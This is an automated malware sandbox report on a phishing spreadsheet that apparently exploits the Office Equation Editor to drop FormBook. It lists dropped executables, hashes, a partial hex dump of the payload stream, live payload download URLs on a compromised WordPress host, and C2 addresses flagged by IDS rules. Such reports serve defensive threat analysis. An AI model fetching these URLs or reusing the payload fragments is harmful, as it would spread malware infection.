91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
3.33.130.190	centralngs.com	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1342301
Start date and time:	2023-11-14 13:25:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	RFQ-T56797W_1.xlsx
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@14/7@9/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 152 Number of non-executed functions: 151
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 67923.0899862697 for current running targets taking high CPU consumption Override analysis time to 135846.179972539 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240
Excluded domains from analysis (whitelisted): wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:26:20	API Interceptor	114x Sleep call for process: EQNEDT32.EXE modified
13:26:26	API Interceptor	29x Sleep call for process: oktuxvhtsq.exe modified
13:26:31	API Interceptor	9268320x Sleep call for process: chkdsk.exe modified
13:26:33	API Interceptor	5127x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
41.185.64.155	RFQ-T56797W.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/kongaby2.1.exe
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jucostam2.1.exe
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jujoptics2.1.exe
	TN81804BM.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/strakonaj2.1.exe
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.27294.9574.rtf	Get hash	malicious	Unknown	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/lightisted2.1.exe
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jujukhanis2.1.exe
	63611-RFQ.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/marikolock2.1.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4115.17388.rtf	Get hash	malicious	AgentTesla, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/maxkujor2.1.exe
	PO-AM2307586.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/finakolad2.1.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4081.11101.rtf	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/sukonted2.1.exe
	Order_List.doc	Get hash	malicious	Unknown	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/welterkonzo2.1.exe
	Purchase_Order_No.1364.doc	Get hash	malicious	AgentTesla	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/pqAlGyUFhqdKYsx.exe
	Order_List.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/macwelter2.1.exe
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/windviewcikon2.1.exe
	Quotation.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/macbomard2.1.exe
	New_Request_B300.doc	Get hash	malicious	Unknown	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/alleromac2.1.exe
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/romankon2.1.exe
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/marcolite2.1.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.23494.27107.rtf	Get hash	malicious	Remcos	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/shekinga2.1.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.30706.1643.rtf	Get hash	malicious	Unknown	Browse	mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/shedremko2.1.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	9i6tQlNW5V.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	130_xlsx.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	NEW_ORDERS_scan_29012019.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PTDwRpT7xd.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PURCHASE_ORDERPOmt1904069_1.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	October'23_Statement_of_Account.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Invoice_&_Banking_details.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Factura_de_proforma_pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	91.195.240.19
	BOK9897863546.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	BB879OMOJHH.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Receipt!!_PDF.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Invoice_&_SOA_ready_for_dispatch.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DcVDfpyF4G.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	61cQ2AJ5tR.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	j7jbTHWTgi.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Swift#invoice6-15+PO7038.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	INVOICE#20231025.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	C65v45yjPwh3N8G.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_Receipt_#9552756186.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
mail.treeoflifeadventures.com	RFQ-T56797W.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	TN81804BM.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.27294.9574.rtf	Get hash	malicious	Unknown	Browse	41.185.64.155
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	63611-RFQ.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4115.17388.rtf	Get hash	malicious	AgentTesla, NSISDropper	Browse	41.185.64.155
	PO-AM2307586.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4081.11101.rtf	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	Order_List.doc	Get hash	malicious	Unknown	Browse	41.185.64.155
	Purchase_Order_No.1364.doc	Get hash	malicious	AgentTesla	Browse	41.185.64.155
	Order_List.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	Quotation.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	New_Request_B300.doc	Get hash	malicious	Unknown	Browse	41.185.64.155
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	Order_No_455100.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.23494.27107.rtf	Get hash	malicious	Remcos	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.30706.1643.rtf	Get hash	malicious	Unknown	Browse	41.185.64.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GridhostZA	RFQ-T56797W.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	q15vaZEspF.elf	Get hash	malicious	Mirai, Moobot	Browse	41.61.164.245
	e74Xkt1ot5.elf	Get hash	malicious	Mirai, Moobot	Browse	41.61.153.7
	GlBCE6IPE2.elf	Get hash	malicious	Mirai, Moobot	Browse	41.185.108.137
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	TN81804BM.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.27294.9574.rtf	Get hash	malicious	Unknown	Browse	41.185.64.155
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	AYSz5iu0AR.elf	Get hash	malicious	Mirai	Browse	41.61.26.229
	63611-RFQ.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	HGi9IZO85i.elf	Get hash	malicious	Mirai, Moobot	Browse	41.185.126.148
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4115.17388.rtf	Get hash	malicious	AgentTesla, NSISDropper	Browse	41.185.64.155
	PO-AM2307586.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.4081.11101.rtf	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
	https://msds.open.edu/signon/samsoff2.aspx?URL=https%3a%2f%2fbredenkamp.co.za%2f.home%2fauths%2f6Ed2%2flaYhB%2f%2f%2f%2fcHJpdmFjeW9mZmljZXJAcmljLm9yZw==	Get hash	malicious	Unknown	Browse	41.185.8.68
	https://alcatrazsecurity.co.za/onte/?86550431	Get hash	malicious	Unknown	Browse	41.185.8.145
	Order_List.doc	Get hash	malicious	Unknown	Browse	41.185.64.155
	Purchase_Order_No.1364.doc	Get hash	malicious	AgentTesla	Browse	41.185.64.155
	Order_List.doc	Get hash	malicious	FormBook, NSISDropper	Browse	41.185.64.155
TRELLIAN-AS-APTrellianPtyLimitedAU	wM34vVyJ6k.exe	Get hash	malicious	FormBook	Browse	103.224.212.215
	eKlJmvs8k7.exe	Get hash	malicious	FormBook	Browse	103.224.212.215
	SecuriteInfo.com.Trojan.NSISX.Spy.Gen.24.14213.13511.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.214
	Quotation.xls	Get hash	malicious	FormBook	Browse	103.224.212.217
	015IXAXaPw.exe	Get hash	malicious	FormBook	Browse	103.224.212.215
	003425425124526.exe	Get hash	malicious	DBatLoader, FormBook	Browse	103.224.212.213
	Nuevo_orden_pdf.exe	Get hash	malicious	FormBook	Browse	103.224.212.213
	mj0mo2csOj.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.216
	yKiQrfqhGv.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	7Xnc2OFmyt.exe	Get hash	malicious	FormBook	Browse	103.224.212.214
	0uYM4xUmvi.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.214
	SecuriteInfo.com.FileRepMalware.16340.31219.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.216
	TN81804BM_Production.doc	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.214
	https://mafoodallergytraining.org/	Get hash	malicious	Unknown	Browse	103.224.182.218
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.224.212.217
	SecuriteInfo.com.FileRepMalware.2839.30700.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.211
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.212.211
	GCeHcfCef8.exe	Get hash	malicious	FormBook	Browse	103.224.212.210
	PAGO_72094.exe	Get hash	malicious	FormBook	Browse	103.224.212.215
	Audit_Confirmation_pdf.exe	Get hash	malicious	FormBook	Browse	103.224.212.216

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	400516
Entropy (8bit):	7.871791543277087
Encrypted:	false
SSDEEP:	6144:BBlL/NXMMK36zVS2WGWZu3B8W8ee5ssX8dsuM7AjWe/7mr027RSPII41hnDHjD+p:HfrKqz02XSHscDcP/7mAgSPI5DDD+p
MD5:	AFFC03992E31B5D4324B41CBD40D911E
SHA1:	8C3138D444CA823DA937022FE29CB421B243A076
SHA-256:	6F0AED190A415542A227D4DED6FF390ED8FBC0759B75E5BAEC91BD6C9C3FA752
SHA-512:	CD5B37C2C0A2CF8594C904084B2C3BDFFC9729B01B79B2135F903F21F502E9C41E8003DCD91DA6D87987DA62EEACC6FB075AE2EC3C901ECF9BE2FDFDF482CA1A
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................................................................t.......................................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc................x..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2D86.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265216
Entropy (8bit):	6.485367625505907
Encrypted:	false
SSDEEP:	6144:DCa08z788ULY36Y4+n/53FIzK2pAOObTlg:Ww78856WF2pMl
MD5:	CF92A3EC74E407574A58BCF121BEC4F1
SHA1:	D117FA6B64E68EA1F24A030153D8BF3F160CB254
SHA-256:	5165CE18A6AA81AE39B901D1AE017BDF4F4B6B2D984B97D6984C8B4B9FB1F652
SHA-512:	172171AD3BB7AFC1AF81EC69C42EACBF8D1D3197B8381F392FE650134FDDACBF7DF687E966C36221BD077BE263A24A7173377EDF5A52667178824F050C48E3AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........&/..H\|..H\|..H\|..K}..H\|..M}Q.H\|..L}..H\|S.K}..H\|S.M}..H\|S.L}..H\|..I}..H\|..I\|z.H\|I.M}..H\|I.J}..H\|Rich..H\|........................PE..L.....Re.....................J....................@..........................P......................................................................................0...T..............................@............................................text............................... ..`.rdata..R...........................@..@.data....9.......*..................@....gfids.......0......................@..@.tls.........@......................@...........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wekfrorm.cno

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	data
Category:	dropped
Size (bytes):	209934
Entropy (8bit):	7.992128423585276
Encrypted:	true
SSDEEP:	3072:Nm2BowKOqiLmXLw/q0Thw1uYcHFj1UrjjXOmb36STLNQUytr1UWouwDY3PZn8TGo:HJ69oHTUrjdtqEuwU3Bn8Hp
MD5:	2D23E7AB5BFB49D8D5C66C4551E9763E
SHA1:	9ED89848DE588F204C4AA29878D0AA26C7161239
SHA-256:	671AD33D741EB3A83C2A7CC13C40E9E1FDB2C3CF3DB9D3EA512991700F06D329
SHA-512:	5B2AEC2DB904FDDD124C53D91263F664DE2CD038DB592741AB1FEA91AD0BB80847931D95D04AC907C2B6C11D876E42819A1C1B629A4D3B37D9E115D8B50C860A
Malicious:	false
Reputation:	low
Preview:	NI.(..a..ta}.b....t..Oame&.=[..H)......+....?..m.....Y.RW..G../..I$zS.......?......O...oN.g.....z..<jY.....1.7.p"ni\|.W.._.../).......D.p...\|}&...)l}A._A...&4n$#...6.C4@g..\|}.s.E....y..b..8..5.....K..NN........'.q.).....d.....>.[..J....a@.y....\|.a...c.~...F8...U<.%c.j...$). ....+..v.?..m....>Y.RW..G../.....S.w...@?.5l....J.......%..4g.G.l...s.AiM"4[.;\|.P$.k.W.._..................@C....[)..^..R....u..4k..c.Nh#C4@g..\|#\...... [d..Z...Y.....K..5N..X.s.-$...q.)........n.>.@.J@....a..y..}.\|.a.....~...F....\|<.%c.jl..H)......+....?..m.....Y.RW..G../.....S.w...@?.5l....J.......%..4g.G.l...s.AiM"4[.;\|.P$.k.W.._..................@C....[)..^..R....u..4k..c.Nh#C4@g..\|}.s.E.......SZ...eY.....K..5N..X.s..$.'.q.)........n.>.@.J@....a..y..}.\|.a.....~...F....\|<.%c.jl..H)......+....?..m.....Y.RW..G../.....S.w...@?.5l....J.......%..4g.G.l...s.AiM"4[.;\|.P$.k.W.._..................*@C....[)..^..R....u..4k..c.Nh#C4@g..\|}.s.E.......SZ...eY.....K..5N..X.s..$.'.q.)....

C:\Users\user\AppData\Local\Temp\~DFB4BAED8D676EAAFE.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1478656
Entropy (8bit):	7.232314461325792
Encrypted:	false
SSDEEP:	24576:DQI/UZhXtvkMeLaA4mzgY0ezXvKJGLR/GnhYzW:jsZh9TeOnXJ/h
MD5:	F772FD06411290F17EEFFF387B404E79
SHA1:	EE88B130974D67810BB8C7BA8FB77993A22A48B0
SHA-256:	FD4F3EB1AB0E9CE2580B082ECCCD3DB3EBFD51514F0127979C66E6DCAAADF7CA
SHA-512:	8A4616941A8F58FEC7D4C09A88C8AA541C0EAEDD9FCCFE3F82156A21FFEB62908E025FEA9F269B02B056ADFB6C8A456467607FE05720C2E8FC6163DECDDB0DE7
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\word.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	400516
Entropy (8bit):	7.871791543277087
Encrypted:	false
SSDEEP:	6144:BBlL/NXMMK36zVS2WGWZu3B8W8ee5ssX8dsuM7AjWe/7mr027RSPII41hnDHjD+p:HfrKqz02XSHscDcP/7mAgSPI5DDD+p
MD5:	AFFC03992E31B5D4324B41CBD40D911E
SHA1:	8C3138D444CA823DA937022FE29CB421B243A076
SHA-256:	6F0AED190A415542A227D4DED6FF390ED8FBC0759B75E5BAEC91BD6C9C3FA752
SHA-512:	CD5B37C2C0A2CF8594C904084B2C3BDFFC9729B01B79B2135F903F21F502E9C41E8003DCD91DA6D87987DA62EEACC6FB075AE2EC3C901ECF9BE2FDFDF482CA1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................................................................t.......................................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc................x..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$RFQ-T56797W_1.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.998661776240753
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	RFQ-T56797W_1.xlsx
File size:	1'228'030 bytes
MD5:	138d7d8a55bef05ac6368488b3c9630d
SHA1:	f9e93ed382d3005a7575443369207f2c3339309b
SHA256:	25e7a5ff8ca830bccda9a6617b31fb3992d4f780444cf3adc8cfb8056f26dd58
SHA512:	5ad15b60f1e97b83ccd32b4bb06716552e429d4bec0cee78efa99a545ee05d4abbc6f7c896f7ce079431d90e6758aa4cb68a98672511e9f360a8509d1bf621f6
SSDEEP:	12288:YWdBCwo3NVvUP/hkRQFTvW7HKReRSR0H8CK/+d5NUzsChpgUWxt7HCZoUPYG0hmL:YgtI/u/httvKaey0cgzobrhPEm+RlDS
TLSH:	0D4533A1D3AD958F6BA4C06426E45AC6212FFD9C95A339BD12B0E8C758093C7DF3F160
File Content Preview:	PK........@mW...g....g.......[Content_Types].xmlUT.....Qe..Qe..Qe.UKK.1.....%W..U...">..TP.k.L..l.3cm....U..XZ...%...M...Y..)$..W.WvE.^.c.....W.#Q )o...1...'.;..y.,....c.x,%.1.......0.Z.....JO...~.{(u...:.9.I...$k..S.nT.:r.$1.,....Dq..f.J........z.C...C

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "RFQ-T56797W_1.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	ctrl
Last Saved By:	ctrl
Create Time:	2022-11-18T02:05:27Z
Last Saved Time:	2022-11-18T02:07:12Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	12.0000

Streams

Stream Path: \x1oLE10NAtIvE, File Type: data, Stream Size: 1462179

General
Stream Path:	\x1oLE10NAtIvE
CLSID:
File Type:	data
Stream Size:	1462179
Entropy:	7.225828857618607
Base64 Encoded:	True
Data ASCII:	< . . . . a ' j & . . 6 . O . ( R . ? - U . . . p S D . . . j ) . Y i i X f { > . b $ . V m O . . . I P z C X 7 . > } o w . z . p . * . t . * . e Z . . P . t z . . L I . r . . A h { ] J B # @ ^ 2 . @ : l } " E c { . . . l . Q . . G h . K y W < 0 W . k ` c 6 . Q - W 4 A . . . H . A 9 d . . . . E r . . Y O r . 8 O n 9 I . < d . . } , h . i [ . = . . $ a ) # o = 3 ) . x ? 5 + ~ % y ` { i \| z . . O & z & . T c . 0 @ . } . " & f E G . . . $ . < . . . . . ' 7 w . 8 . . V & _ . Z : 9 ! u } 0 J E k t _ . % "
Data Raw:	88 cb 3c 04 02 fc f7 98 f4 fd 01 08 61 27 be 6a f9 26 fb 81 c6 d2 c3 1e 05 8b 36 8b 16 b8 4f 98 b9 ff f7 d0 8b 28 52 ff d5 05 3f ce f4 f7 2d 55 1c ed f7 ff e0 03 c6 af 70 fb 9b 53 44 00 13 ce 0c 6a 8c 29 85 d9 ba e5 b4 df 59 69 69 c3 58 66 7b e1 3e f6 df 9f 62 24 18 56 f0 6d a9 d7 eb e2 4f 10 1d d0 1a 96 99 f5 49 b4 f7 50 dc 7a 43 8a 58 37 9e 02 20 3e 7d 6f 77 d2 ab c0 7a 1e 70 82

Stream Path: WfMtcrVR, File Type: empty, Stream Size: 0

General
Stream Path:	WfMtcrVR
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2238.11.36.6849167802031412 11/14/23-13:28:23.777818	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49167	80	192.168.2.22	38.11.36.68
192.168.2.2291.195.240.1949166802031412 11/14/23-13:28:02.320328	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49166	80	192.168.2.22	91.195.240.19
192.168.2.22103.224.212.21249164802031412 11/14/23-13:27:01.556896	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49164	80	192.168.2.22	103.224.212.212
192.168.2.223.33.130.19049168802031412 11/14/23-13:28:45.165462	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49168	80	192.168.2.22	3.33.130.190
192.168.2.2234.149.87.4549169802031412 11/14/23-13:29:05.883659	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49169	80	192.168.2.22	34.149.87.45
192.168.2.2241.185.64.15549162802021697 11/14/23-13:26:24.263209	TCP	2021697	ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious	49162	80	192.168.2.22	41.185.64.155

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2023 13:26:23.836503029 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.262617111 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.262689114 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.263209105 CET	49162	80	192.168.2.22	41.185.64.155
Nov 14, 2023 13:26:24.689160109 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701302052 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701364994 CET	80	49162	41.185.64.155	192.168.2.22
Nov 14, 2023 13:26:24.701396942 CET	49162	80	192.168.2.22	41.185.64.155
